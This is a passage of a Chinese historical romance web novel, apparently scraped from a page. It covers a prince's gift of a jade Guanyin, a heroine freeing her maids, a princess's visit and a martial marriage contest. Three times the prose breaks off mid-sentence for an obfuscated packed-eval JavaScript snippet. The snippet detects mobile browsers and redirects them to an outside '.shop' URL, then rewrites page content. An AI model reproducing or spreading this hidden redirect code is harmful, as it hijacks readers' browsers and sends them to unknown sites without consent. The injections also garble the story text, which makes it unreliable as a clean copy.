“兄长这句''贤弟''已然价值千金，还要写借据，这不是羞煞我吗？兄长一时有了难处，就容我做个人情，这五十两权当奉送。不知兄长何处下榻，我好着人送你回去。” 苏玫头一回遇上对他这么好的人，五十两银子，他赶考时的盘缠都没有这么多。 “现住在城北的一家客栈，就不劳贤弟相送了。” “兄长别怪我多嘴，你现在已是官身，怎么还住在城北？回去后不若在城西租个院子，人员来往也干净些。” 要说城西的宅院，项梧和项池名下还有几处空置的，但他不想让苏玫住进去。银子上没有名字给便给了，最多打水漂；宅院要是闹出什么事就麻烦得很，项梧不做这个人情。 “我也有此意，怎奈银钱短缺，多谢贤弟解我燃眉之急。” “城北路远，天色已晚，兄长不要推辞了。” “大恩不言谢，往后若有用得到我的地方，贤弟尽管提。”苏玫躬身施了一个大礼。 苏玫日后能不能有机会帮到项梧，他自己也不确定。同为一甲进士，项梧是个侯爷，亲族中想必也有做官的，将来谁能走得远还真未可知。 项梧看着苏玫的脸，作思索状。 苏玫以为自己脸上有脏东西，用手摸了摸，问他：“为何这样看我？” 11. 鱼篮观音 “兄长看着也太年轻了些，日后在外，怎么压得住人呢，不若……开始蓄须吧！” 苏玫是个实心眼，对他十分信任：“原是这事儿，你说的有道理，那咱们一起。” “自然，自然。府上还有些事，就不能亲自送兄长了，我让兰生为兄长带路。” 项梧看着苏玫的背影，心说终于送走了他。 禾生过来传话：“侯爷，大小姐刚才派人来说她那边先用饭了，客人要是没走，就请侯爷在前厅和客人一起用。” 白忙活了。 “今天喝莲子汤，送我房里。” 项梧回房坐在项池坐过的凳子上，拿起扇子对着空无一人的床铺扇动着，嘴角噙着笑。 末了他又躺下，用手摸了摸脸颊，美得来回翻身。 那边的谢磐回家也是昏睡了一觉，醒来后思想起宴会上可能发生的事，不觉冷汗直流。 倘若真的在别院和侍女进了屋，他就百口莫辩了，个中到底发生了什么，完全取决于楚王的意思。稍有不慎，十年寒窗苦读就这样被葬送了，连带着谢家都要被连累。 虽说楚王未必是存心陷害，这可能就是他平日里的待客之道，即便如此，谢磐也不想消受这份艳福。 今日多亏了项梧，不知他是真醉还是假醉，但总归是要答谢的。只是这种事不好明着谢，不然就辜负了他一番苦心。 夜深人静，谢磐觉得自己宅院里冷冷清清的。 “夫人可有传来书信？她们现在行至何处，还有多久能到京城？” 寻月进入楚王府的消息传回来，彼时慕池正在与项梧对弈。 项梧不解：“不忠心的人有千百种处理的办法，你为什么选了这么麻烦的一种？” “寻月为他办事，我怎好轻易处置？总得看看他的意思。” 慕池摩挲着白子，选了一处落下。 “你受到太多羁绊了。” 项梧落子结束棋局。 慕池没立刻发现，依旧持子思索。 “诶，我又输了。” 楚王为着寻月的事来了一趟。 即使百般不愿，项梧还是把人请进来安排到正厅。 “小侯爷，这么快就又见面了。” 楚王很和善，虽然是血脉高贵的凤子龙孙，此刻却没有一点架子。 “王爷突然驾临，不知有何要事吩咐，府上茶水粗陋，切莫怪臣招待不周。” “你不知道，可你府上有人知道。” 楚王故意卖个关子，语调很是轻快，气得项梧暗自攥拳。 “你府上可有走失人口？本王遇上了一个婢女，她说是伺候慕小姐的，今儿本王把她带过来让小姐一认。” “王爷此话差矣，走失了不知道回家，反跑到王爷那里，想是生出了别的心思，这样的奴才还留她作甚？”项梧就差把事情都挑明了。 楚王想起房頔交代的话，自己不能表现得薄情寡义，遂道：“不可，如若是令姐的婢女，就该由令姐亲自处置才好。她只是迷了路，何至于如此严惩？” 项梧冷哼一声道：“王爷真是好心肠，既然觉得她好，何不留在身边红袖添香？” 楚王尴尬笑笑，本来把寻月收了也没人能说什么，怎奈他还是更想得到慕池。 “婢子忠心，顾念旧主，本王怎忍强留？还是请小姐来此辨认，好让此事有始有终。” “既如此，王爷稍候，下官这就请慕姐姐前来。” 项梧和慕池商量过此事，此刻只是依照计划进行。 不多时，慕池来到前厅，但见她： 明晃晃珠翠交错，不见青丝；密层层罗绮堆叠，隐藏身形。眉儿黑，唇儿艳，几多矫饰；眸儿明，腕儿皓，难掩风流。 慕池有意压低嗓音，颔首垂眸，给楚王行礼请安。 “小王冒昧来访，叨扰小姐了。” “不敢。前情我已尽知，逃奴现在何处？” 楚王位居上首，项梧和慕池分坐左右，寻月被带到堂前跪下。 她走路不大自然，想是受刑的缘故，身上还是侯府丫鬟的衣裙，跪伏在地，看不到神情。 慕池看她如此，原来准备好的那些指桑骂槐的话怎么也说不出口。 连她也不敢面斥楚王，何必再吓一个可怜的丫头呢？ 从一开始的背叛到现在的跪伏，让寻月屈服的从来都是权势，所以她才想要追求权势吧。 等到面对更大的权势，慕池自己也不得不跪下。 那些板子已经足够形成威慑，此事就此作罢吧。 楚王等着听慕池是什么意思，只欣赏着她费力掩饰的容颜，并不开口。 慕池思索间，屋内一阵沉默。 “寻月，起来吧。”慕池轻叹。 寻月抬头，接上慕池的目光，不敢置信，听小姐的语气似乎不怎么生气，激动得吞了一下口水，马上起身，垂手侍立。 项梧诧异地看了她一眼，随即了然，他知道慕池这是又心软了。 “小姐心胸宽广，实令小王敬服，此次拜访，略备薄礼，请小姐笑纳。” 楚王探明了慕池的态度，进一步示好。 一个侍女捧着一尺高的紫檀木匣子走到慕池面前，另一个侍女将其打开，亮出了其中的白玉观音。 慕池认得那是观音三十三相中的鱼篮观音。须是这样不掺一点杂质的美玉才配的上她。 楚王看出慕池有推辞之意，遂道：“小王知道小姐素来尊佛敬僧，这尊是觉明大师亲自开过光的，看在小王一片诚心的份上，小姐万勿推辞。” 楚王说话实在太客气了，慕池的话只能咽下。 “下官谢王爷赏赐。” 慕池跟着项梧行礼谢恩。 寻月一直在边上看着，观音像她也亲睹了，不说价值连城，也绝对展现了天家富贵。她心里的火苗又被点燃，她是第一次接触到无上权力和泼天富贵，不甘心就这样轻易放弃、蹉跎一生。 寻月扑通一下跪倒在地，对着慕池苦苦哀求：“小姐，奴婢对王爷一片痴心，看在奴婢伺候了小姐这些年的份儿上，小姐为奴婢说说情，让奴婢留在王爷身边吧，奴婢今后一定对小姐感恩戴德，来世……” 这套词她说的顺畅，总归她不信佛，不相信那些前世来世的鬼话。 “噤声！”慕池有些生气了。 说什么情？让一个未出阁的女子给她保媒吗？ “看在王爷的份儿上，你的卖身契我会还给你，今后你如何与我府上再无干系。” 寻月听到慕池断然拒绝，不失望是不可能的。但想到自己已经努力过了，随即释然。 怪只怪苍天不公，没给她一个好家世、好样貌。她才不相信这些是什么前世的果报，没影子的东西，当然任凭那些人胡扯。 慕池自觉有些失仪，左右寻月的事儿也处理完了，她不欲久留，遂告罪退去。 楚王有些惋惜地看着慕池离开，心下对她已经有了一个判断，暗暗盘算今后如何行事才能将她打动。 这次是司衡伴着慕池，方才慕池对寻月的处置她都听见了，此刻竟一句也不问。 她们就这样默默回到和光院，直至慕池洗去脂粉，褪下外衣，彼时司衡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378360|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚摆放好那尊白玉观音。 “司衡，你把青霜找来，让她也瞧瞧这个稀罕物件儿。” 青霜到了那观音像处，连连惊叹楚王的财力，忽而冒出一句：“小姐，我瞧这玉像的眉眼和您有些相似。” 司衡也过去细看：“不只是眉眼处，连鼻子、嘴巴都有些像。” “竟有这般奇事？”慕池也凑了过去，“这……就不宜摆出来了，还是收回到匣子里吧。” 青霜道：“我看不足为奇，不过是楚王有意为之罢了。” “此事只是巧合，切莫议论下去亵渎神灵。” 青霜和司衡对视一眼，从彼此的眼神中看到了担忧。 “司衡，刚才小姐不让我随行，楚王今日到此所为何事呀？” 慕池道：“楚王假称我们府上走失人口，今日送寻月回来相认，言语间谦厚温和，不以势压人，又以厚礼相赠。我把寻月的身契还给她，本该是为着这些……” 慕池背转身去：“可我当时不是这样想的。在她跪倒在地，等待着我出言决定她将来的那一刻，我感受到了权力。” “当然，这样的权力我一直都有，只是今天才有了这么深切的感受。寻月害怕我，不是因为我于她有什么大恩，只是因为她身契在我手中。” “我想我的‘身契’大约也在什么人手里，倘若我日日侍奉在那人身边，深知自己的祸福荣辱全在他的喜怒之间，彼时我要做的会比她过分得多。接着我又不免想到你们……” 慕池转回身看向司衡和青霜，拦住了她们即将脱口的话：“你们此刻什么都不用说，若是些表忠心或者反过来安慰我的话，就无异于指着鼻子骂我虚伪了。” “我记得寻月擅使剑，寻常一二人近不得身，可她当时反抗了吗？或者说反抗有用吗？青霜，你武艺高强，可若是有一天主子要打你，你还敢反抗不成？司衡就更不必说了。” “虽说事出有因，可人心都是肉长的，难免物伤其类。” “也许你想只要自己不做错事就不会和她一样，可是青霜、司衡，不是这样的，只要你们处在下位，就永远有着无辜受刑的风险。” 青霜仿佛想起来了不愉快的记忆，喃喃道：“对啊，没做错事也会受罚的。” “我想和你们交朋友，所以我的手中就不能有任何‘罚’你们的权力，所以我决定发还你们的身契。” 慕池终于把心里话都说出来。这几年她心里早就把青霜和司衡当成至交，设身处地想了想，她不喜欢府上管制的规矩。 往后和项梧商量着改掉是一方面，另一方面也该对她们做出补偿。 青霜绞紧帕子：“小姐是不要我了吗？” “这件事您和侯爷商量过了吗？”话说出口，司衡自觉失言。 慕池反不解她们的意思。 青霜率先解释：“还没见过哪府上把发还了身契的丫鬟留在身边伺候的，小姐定是要赶我走。” 本该是重获自由的好事，青霜却愁云惨淡。 慕池发现，自己把事情想的太简单了。 正如青霜所言，自己打算的是和她们交朋友，既然如此就没有让朋友继续伺候自己的道理。 可她们出府之后呢？一个个的都是苦命人，倘或家里还有亲人且如今富裕了，出路就是嫁人，倘或不是这样，难不成还要再卖身一回吗？ 丫鬟们要是有本事，诸如刺绣、算账、烹饪之类的倒还好，可这些年来，慕池只教了她们舞枪弄棒，青霜和司衡好些，颇识得几个字，可这放在外头也没多大用场。 慕池不免为她们的生计担忧。 12. 公主驾到 青霜见她不说话，又恳求道：“小姐，你素日里待我们极好，我虽然不是从小伺候你，到底也尽了这几年的心，还请看在这些年的情分上，留下我吧。” “是我傲慢了，不了解你们的心。咱们先坐下再说。” 慕池拉着她们的手坐下。 “青霜，除去咱们的情分，你为什么不想出去？我记得你外面还有父母家人，可是家里还有难处？” 青霜犹豫了会儿，终于说出口：“小姐，奴才家里的事原不该说出来污了你的耳朵，今日就请您原谅一回。” 她说她在家里行二，上有一个姐姐，下面有一弟一妹，她和姐姐很小就被爹娘卖了。 还说当时爹娘只打算卖掉自己，是姐姐心疼她怕她吃苦才主动顶替，虽然后来家里又缺了钱。 眼下姐姐到了出嫁的年纪，她和爹娘商量着先凑钱把姐姐赎出来，这些年攒下的月钱和前些日子喜事的赏钱她都托人送回家里。 “我姐姐不仅女工好，长得还漂亮，当然没有小姐这么漂亮，不过也仅次于小姐了。我家里还有弟弟妹妹，我也想再攒几年钱，免得又被卖掉一个。” 青霜提起姐姐时，眼里闪烁着光亮，慕池在她打败自己时见过。 “这个不难，还差多少银子，我直接给你。等府上比武招亲的事儿忙完你就回家，先把姐姐赎出来，或是回家团聚，或是一齐带回来当府上的绣娘，不签身契，月钱和你一样，如何？” 青霜神情复杂地看着她：“咱们府上足够厚待奴才们了，怎么好再开了这个例子，谁家里都有难处，都依样来求小姐不成？” “这里只有我们，不会叫他们知道。你只是回家探亲一趟，若姐姐来了，不把身契的事儿说出去也就是了，只说府上买了个绣娘。” 司衡说罢看向慕池，征求她的意见。 “正是这个道理。” 青霜的泪登时就滚下来了，泣不成声：“我上次见到姐姐，她在那边府上过得不好，主人家稍有不顺心…就拿她出气，胳膊上…有不少青紫。” 司衡拿帕子给她擦泪：“平日里争强好胜的一个人，哭起来也比人凶。” 慕池拍拍她的背给她顺气：“干脆今日就走吧。” “就快到…小姐的大事了，虽然着急，也不差这几天，院里其他人…没一个比得上我，我不在这时候…走。” 司衡道：“好不容易回家一趟，这两天先收拾收拾行李，想想给弟妹们带点什么好玩的。” 青霜又哭了一阵，方才缓和。 “司衡，我记得你家里没人了。身契的事我应该做得了主，你往后就照旧管着铺子的账目吧，月银不变，住在外面的宅子里，可以随时来看我们。” 司衡面露愧色。 青霜道：“怎么反不开心呢？” “本来我不知要被卖到何等腌臜的地方，是侯爷救下我，我已发下弘誓大愿，要终生侍奉侯爷和小姐报答恩情。” 慕池想起她最开始说的那句话：这件事您和侯爷商量过了吗？ 司衡平日里并不信佛，或许问题在项梧身上。 “以你之才，长久困在宅院里，真是屈煞了。” 慕池又劝了几句，司衡还是不改口，只得暂且作罢。 “另有一事，我前几日在宣国公府上，见乐陵县主的丫鬟们个个知书识礼，心生羡慕，有意让咱们府上也学起来。刚才又想起几样学来能换钱的，诸如刺绣、算账、烹饪之类，不若一并学了。” 司衡道：“小姐是真心为我们着想，想让我们有个傍身的本事。” “单小姐院儿里，我和青霜两个、二等丫鬟四个、三等丫鬟六个，内院里负责其他事项的丫鬟也有十来个。” “然而，大家平时里都各有活计，时间安排就是个问题，真心想学的时间不合适，有意躲懒的趁机找了个由头，岂不辜负了小姐的好心？” “再者说，教写字发笔墨纸砚，教女工发针线布匹、教算账得发算盘，这些东西府上采买了发下去，谁不想要？便是自己用不着，也可以拿出去换钱，届时人人都说丢了要重新再领，这也是个问题。” “还有就是想学同一门的人自身的基础未必相同，若听同一堂课，岂不互相耽误？” “小姐想做，我这几天拟出个章程给你看。” 听完司衡头头是道的分析，慕池和青霜全变成了星星眼。 “果然是‘巧者劳而智者忧’，难为你想到这些。” “对，对。” 赵齐风没有食言，果然带了诗集来见慕池。 这还是第一次有别的小姐来做客，慕池很重视，把栖霞阁好好布置了一番，买了十几样她认为比较好吃的茶点。 还没到时辰，慕池在二楼凭栏远望。 栖霞阁距离枕云轩很近，近到她可以在此看见枕云轩院子里的人。 青霜来禀报：“小姐，英国公府的小姐到了，还带了另一位小姑娘。” 慕池疑惑，赵齐风并没有说会和别人一起来。 她快步下楼迎接。 慕池和赵齐风打过招呼，把人请进屋里，问她旁边小姐的身份。 “表妹今天来我家里玩，看了你的那张帖子，想来见见你这个奇人，请勿见怪。” 英国公小姐的表妹中可包含了那位本朝唯一的公主殿下，且看赵齐风行动间隐隐以她为尊，慕池不由得产生这种猜测。 “岂敢岂敢。” 慕池细看这位小姐，但见她： 长眉入鬓，顾盼神飞；龙章凤姿，豆蔻初成。骨蕴灵秀，自有皇家仪度；神含清穆，天然帝室风华。 公主不明说，慕池也不好揭穿，只能加倍恭敬。 “小姐口出狂言，必有过人之才，可否容我一观？” 话虽然是请求，但她的语气中带着不容置疑的强硬。 赵齐风打圆场：“我也想见识一下你的本领，我说你很厉害的，家里未成婚的哥哥们都让我给激将来了，你可不能让我丢脸。” “既然如此，请两位移步院内。” 慕池命人设座。 “我有一侍女粗通剑法，小姐可任选兵器与她比试，不用怕伤了她。” 自公主身后站出一个慕池未曾注意到的人，她从腰间取下软剑。 这人给慕池的感觉和楚王殿下的暗卫有些相像，是以她不敢轻敌。 慕池道声“遵命”，让青霜取来自己的佩剑。 比起侍女的软剑，她的佩剑要更厚重一些。虽说剑走轻盈，可多出来的重量她也能够驾驭得了，并无妨碍。 慕池此前比试的对象都是自己院儿里的丫鬟和项梧，一来不能确定他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378361|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们是否用了全力，二来她也没有次次全胜，她不知道自己的武艺到底如何。 “小姐请。” 那侍女拱了拱手，示意她先出招。 罢了，自家场院里，输了也没什么丢人的，还能见识一下公主殿下身边的暗卫是什么样的水准。 慕池主动出击，足尖一点青石板，佩剑带着沉厚风声直劈而出，她剑势沉稳，第一招只为试探。 侍女握着软剑，身形却比想象中更疾，只轻轻一侧，便如鬼魅般避开锋芒，软剑在她腕间一绕，竟贴着慕池的剑脊滑削而上，快得只剩一道银弧。 好快的剑。 慕池心头一凛，忙沉腕回防，厚重的剑身在她手中骤然一凝，硬生生格开那道险之又险的攻势。 金属相撞的清脆声响乍然响起，震得那侍女虎口发麻。 慕池试探出了她的力量和速度，此刻也不再保留，把这当做一场表演，使出十分力气，力争在被打败前多坚持几招。 在公主和赵齐风眼里，她们二人的速度其实不相上下。 五十招过后，慕池惊奇地确定了一个事情：对面的人似乎快要招架不住了。 她能明显感受到对方的招式变得凝滞和迟缓，并且这不是她故意露出来的破绽。 或许公主不是在谦虚，她说的就是事实呢？ 接下来慕池改变了策略，她攻势减缓，不着急展示自己也无意取胜，如猫戏鼠一般把对方的招式都逼出来，引诱对方攻击。 这些年她虽然勤奋，但见过的武学招式还是太少。机会难得，她此时就在偷师。 赵齐风看不太懂，见到慕池没有很快落败并且和侍女打的有来有回就放下心来，无聊到打开自己带来的诗集翻看。 对战的侍女在看到慕池使了好几个自己的剑招时明白了她的意图，侍女有些羞耻，已经无心作战，但这件事由不得她，因为公主并没有喊停。她只能眼睁睁看着这位天才在对战之中疯狂汲取着养分。 又过五十多招，慕池学得差不多了，一剑逼向她的咽喉，结束了这场比试。 公主唤回侍女，她这会儿显然心情不错，语气都温和许多，问道：“小姐惯使哪样长兵？” “平时练习过长枪。” “比小姐剑法如何？” “不如也。”慕池摸不透她什么意思。 “本月十五对吗，本宫会到场的，小姐不要让本宫失望。” 公主亮明身份后就走了，并不为多余的事浪费一点时间。 赵齐风解释道：“公主殿下是说，这件事她会帮你。至于怎么帮，我现在还不太清楚。唯一确定的是只要公主公开宣称自己要参加，你接下来收到的同意回函就不会少。” 慕池最开始也是奔着把事情搞大的方向去，但她也清楚，自己的身份在京中并不显赫，愿意来的人肯定没那么多，这几天的回函情况已经做出印证。 公主殿下没有封号，因为她是陛下唯一的子嗣，南华唯一的公主。本来先帝也有个女儿，不过那位现在的封号是齐王。 公主为何要帮她，她暂时想不出理由，索性直接问赵齐风：“公主殿下怎么忽然对这个感兴趣了？我可不信你夸我两句就能把人家吸引来。” 公主殿下虽然年纪尚小，但看起来并不是那种保持着无尽好奇心的青春少女。 13. 比武招亲1 “我不知道公主的想法，也许是古道热肠呢？就像我一样，我就想看你把那些平时看不顺眼的人给光明正大揍一顿。” “你看谁不顺眼呀？让我留意一下。” “那可多了，说起这个我就生气，你还记得诗会吧，哦，差点忘了，这是我给你带来的诗集，”赵齐风把十多本诗集递给她，“你肯定也看出来那个投票有问题了吧。” “嗯，我也觉得不太合理。” “对啊，我虽然跟她不对付，但也瞧不上暗地里耍手段的行，会上县主把事情压下去放他们一马，结果你知道他们背地里怎么说的？” “这几天家中忙，我无暇关注这些消息，他们怎么说的？” “他们说我争强好胜，对投票结果不服，结果查出来自己得零筹恼羞成怒。” “别人的也有，乐陵县主处事不公，经常漏题给李质真；李质真勾结县主暗箱操作，所以多次拿第一；还有你的，说你是靠美色才拿了九筹，虽然确实有美色，但这又不是你的错，外面议论的话被刻意引导后，要难听很多……” “总之，几乎每个小姐都被传了各种各样的事。” “我很生气，明明最开始参加诗会的全是姐妹们，可她们或是嫁人离京或是迫于压力都不来了，时至今日，诗会似乎全部由他们做主。” “这两次我家里也开始反对，我不知道自己还能坚持多久。” 慕池翻开最前面的几本，里面的自号有很多她都不熟悉，想来就是那些离开的姐妹。 “当初县主为什么要邀请公子们参加呢？” 慕池发现从一开始就是县主在写序，一直是她在掌舵。 “她想让姐妹们的才华可以被更多人看见、认可。” 赵齐风望向远处，回忆起曾经，她少有这么忧郁的时候。 “如果只是闺中游戏，流传出去被肮脏的人看了会说我们起了情思，惹来非议。可有些佳作不该因此被掩埋，请来公子们加入就是解决这个问题的法子。左右隔着一层‘号’，外人也不好张口就污蔑。县主也是好心，只是没看清楚，让一群肮脏的人混进来了，才有今日。” “我给你出气，他们敢来，不论什么身份我都敢打，专门打脸，让他们好多天出不了门。” 赵齐风用手帕拭去滑落的眼泪：“嗯，我要当面嘲笑他们！” 公主和赵齐风走了之后，比武招亲朝着慕池从来没有预想过的方向一路狂奔。 先是李质真并其他小姐来访，表明她们当天也想到场观看。 随后忠勇侯府就收来了雪花一般的回函，甚至原来给过拒绝的人家都又同意了，还有许多没收到邀请的人家问能不能参加。 公主离开当天就送来另一名侍女与她“比试长枪”，并交代有什么需要可以向公主禀报。 青霜数了数，愿意参加的人家将近两百个。 慕池听到这个数字是头疼的。 这么些人，一天之内可怎么结束呢？ 慕池挺紧张的，这是她第一次成为这么多人关注的焦点。 当天她带了双星和几个武艺不错的丫鬟，留下司衡看家。 云鼎楼共三层。一层里空间最大，搭了比武台，又布置下足够数量的桌椅让公子们等候；二层三层可以看到楼下情况，分别留给小姐们和公主、楚王。 巳时已到，云鼎楼的一名小二上台宣布比武规则： 一、凡应邀到场诸公子，可自行结队，每组一至五人。组定之后，即至台前报名领号，签立生死状。小姐与每组比武限时一炷香，被打落台下者视为失败，时限一到，组内仍有立身台上之人，则全组俱得晋级。 二、首轮获胜者可以弃权，若多于十人，则逐一登台较技确定前十，然后进行文试，文试由小姐出题、评阅，选出优胜者。 三、公子所用兵器，可自备，亦可取用公所备者，悉听尊便。 规则是慕池和李质真共同设计的。考虑到参与的人比较多，干脆就让他们组队上了。 可以弃权的意思是她知道有些人不是奔着她来的，只是为了展示武艺，为了鼓励这部分人大胆比武，二轮可以弃权。 公主殿下让她在第一轮把所有人都打败。 她不知道自己能不能做到，虽然与公主的两位侍女比试过，但她们看起来年轻，这样的战绩不足以让慕池自傲。 慕池在二楼俯视下面乌压压的人群，陡然升起一股雄心，如果自己真的能做到呢？ 台子搭好，公主也屈尊到场壮我声势，想拿第一并不丢人吧。 李质真在旁边看她脸色不好，问道：“东溟，你是在担心吗？” 赵齐风被提醒了，也看慕池：“你别有太大压力，我们之前说的都是玩笑话，让他们第二轮自相残杀也有意思。” 慕池看到众姐妹都看向自己，眼中俱是关切，她脸上浮现笑容，平静而坚定地说道：“谢谢大家今天到此。我刚才听到我的心，它说我想赢，我想像天然居士一样，赢过底下所有人。” 慕池看到她们的目光变成了惊讶、期待和羡慕，她在被这些人祝福着，她从这些目光中感受到了温暖。她畏寒，很需要这样的温暖。 青霜带着长枪来报：“小姐，已经确定了几组，咱们可以下去了。” 小姐们为她让出一条路。 慕池和诸位小姐告辞，戴上翻出来的老虎面具下楼，她能想象到身后目送的视线，脊背挺得格外直。 楼梯处传来一声巨响，一楼嘈杂的声音顿时停止，纷纷投向目光。 二楼的小姐们也过去探查情况。 走在前面带路的青霜回头看到她家小姐把银枪插在地上，木质地板都开裂了。 慕池赶紧摆摆手，示意自己无事，催促她继续走。 刚才踩空了一级台阶，她连忙用银枪稳住身形才不至于滚下去。还好这里的楼梯是相对封闭的空间，否则可要丢死人了。 慕池走到楼梯口时，项梧已经赶过来了。 慕池看到他，脸颊更烫了，她庆幸自己此时戴着面具，不必被朝阳看到神情。 她不和项梧打招呼，径直上了擂台。 慕池今天头戴珠冠，外着杏黄圆领窄袖袍，上绣金菊数丛，下穿深棕色缚裤，足蹬描金长靴，臂缠绕黑色护腕，英气十足。 在场本来认识慕池的人就不多，何况她还戴上了面具，第一组就有人质疑道：“小姐为何不敢以真面目示人，莫非找人替代吗？” 慕池觉得他说得有理，于是暂且摘下面具，让在场诸人见过。 其实在座的公子们决定参加后就多方打探了慕池的容貌，虽然醉翁之意不在酒，但争抢美人传出去总比争抢一个丑女有面子得多。 关于慕池容貌的消息，多是从桃花诗会的参与者、叶尚书府和忠武侯府传出去的。 都说她是个美人，且形容得很夸张，未见过的人将信将疑。今日得窥其面，众人才感慨所言不虚。 展示过后，慕池又戴好面具，道：“我有洁癖，为防诸位的血溅在脸上，还请原谅。” 慕池声音清冷而无情，说出的话颇为傲慢。 “慕小姐也太自大了吧，我们不知道小姐武艺如何，待会儿兵器不长眼伤到小姐岂不激起众愤？不若小姐先展示一下武艺，我等也好明白下手的轻重。” 他是第一组，有意借此消耗一下慕池的体力。 慕池问道：“你是何人？” 那人扬声道：“我乃宣国公之孙安腾。” 好嘛，太后娘娘的亲戚。怪不得和他看起来像是队伍里最弱的。 “公子年方几何呀？” 安腾以为慕池听是见身份惧怕了他，心中不屑，又低看她几分：“小爷今年二十有二，勉强可以纳你为第八房妾室。” “哈哈哈哈！”慕池被气笑了，“胆子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378362|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和个头儿一样小，我以为你才十一二呢！” 慕池用枪尖指向他：“你敢上来吗？” 下面的人也开始起哄让他上去。 众目睽睽之下，安腾带着自己的队伍登上擂台，其余四人一一报了身份名姓。 慕池不再废话，不熟的人直接把他们打下台，熟悉的就多留一会儿，揍他个鼻青脸肿下去包扎。 一开始他没有下手太重，怕的是后面的人见她凶残不肯报名。 得知大半都已经组队报名后，她彻底放开手脚，好好教训了黑名单上的那些人。 底下的公子们见她一连战败十组后仍不见疲惫，暗里给她起了个“母老虎”的绰号。 慕池不主动提出休战，排队的公子也不提此事，他们巴不得自己能坚持一炷香的时间。依靠这样的方式虽然胜之不武，但好歹也有个第一组获胜的名头。 “在下礼部尚书之子李华。我组俱使短兵，为公平起见，还请小姐也用短兵。” “李尚书之子？原来李尚书还有个儿子吗？我只知道他有个女儿，是名动京城的第一等才女，既是兄妹，不知你有什么大作？” 李华被戳中痛处，咬牙反击：“我平日潜心钻研剑法，无心作诗。令弟是新科探花，也不见小姐的诗文多么高妙，何必言语刻薄？” “只是玩笑话，李公子不要生气。巧了么不是，我也是潜心钻研剑法，无心作诗。为了李公子口中的公平，我们就比试一下剑法吧。” 慕池从双星手中换了兵器。 李质真在楼上看着，为自家哥哥口中的“公平”臊红了脸。 又没规定他们这些人不许用长兵，前面用短兵的都没挑剔过，偏他见识到人家枪法好就让人换兵器，真不知道是怎么说出口的。 其他人的名字都很陌生，慕池很快就送他们下台，只留李华一人在台上。 “李公子，这就是你潜心专研过的剑法吗？我觉得也不过如此。”慕池的语气的确很刻薄。 李华看到她是左手使剑，道：“我刚才被你伤了右臂了才会不敌，你敢换一只手与我比斗吗？” “好啊。” 慕池的眼睛泛出冷光，她第一次如此蔑视一个人。 除了他扯出这么多可笑的借口，更多的是因为这样的人竟然是天然居士的哥哥。 赵齐风送来的诗集她都拜读过，因此虽未与李质真深交，她也能从中看到李质真的风骨。 很难想象他们俩是在同一种环境中成长起来的。 慕池换了真正受过伤的右手使剑。 她步步紧逼，每次控制着力道并不打落他的剑，却不断的在他身上留下划痕。 不多时，李华就丧失了战意，只一个劲儿地后退。 他觉得主动投降太丢人，那香又才燃了半炷，他实在受不了这种折磨，双腿一软，倒在地上装晕。 这是本场第一个昏倒的人，他的倒下把众人的目光都吸引住了。 慕池并不停手，提剑朝李华走去。 她用剑把李华的左臂和身体分开一定角度。 台下的公子议论纷纷，猜测她是不是打算砍了李华的胳膊。 台上的李华听见这些话吓得胆寒，死死闭着眼睛。 慕池用剑锋从李华的肩头划过手臂，又从手臂划到手腕。 李华在地上抖动起来，距离擂台近的公子们看得清清楚楚。 慕池踩住了他抖动的小臂，剑锋点了点他的掌心而后抬高。 宝剑垂直落下。 李华发出一声惨叫，奋力挣扎。 “李公子为什么不继续装晕了呢？”慕池把剑从地板上抽出来，“我没有伤你，你为何要惨叫？” 李华被吓坏了，什么也顾不得，连滚带爬地下了比武台。 台下众人看见他的丑态，哄堂大笑。 李华没脸待下去，直接离开云鼎楼，打道回府。 14. 比武招亲2 最后那一剑，慕池挑的是左手，她本来打算真正刺下去，左右签了生死状，这种小伤自然也不在话下。 但是她想了想，既然要做恶人，毁也要毁个天才。像李华这种人，今日伤了他的左手，明日他就会以此为由“意志消沉”，心安理得地自废右手。慕池不想给他提供这个借口。 下一组人迫不及待要上场。 慕池注意到角落里有人掀了桌子打起来，其中一人极其雄壮，云鼎楼的堂倌拦都拦不住。看到青霜过去帮忙，慕池才收心回来。 这一组没听清楚其余几人的名字，只认识个新科状元。 青霜到了打斗现场，局势已经是一边倒了，基本上就是那个壮硕汉子在殴打另外几个人。堂倌们去拦他，被他轻轻松松推倒。 青霜过去阻拦，那汉子伸出手照旧想推开，却被青霜死死握住手腕拦住了。 那汉子自负勇力无敌惯了，今被人拦下，这人还是个小女子，他怒气顿消，好奇问道：“你是谁，好大的力气。” 青霜松开手，解释道：“此处是我家小姐比武招亲的地方，公子们有何恩怨，请到楼外自行解决。刚才得罪了。” 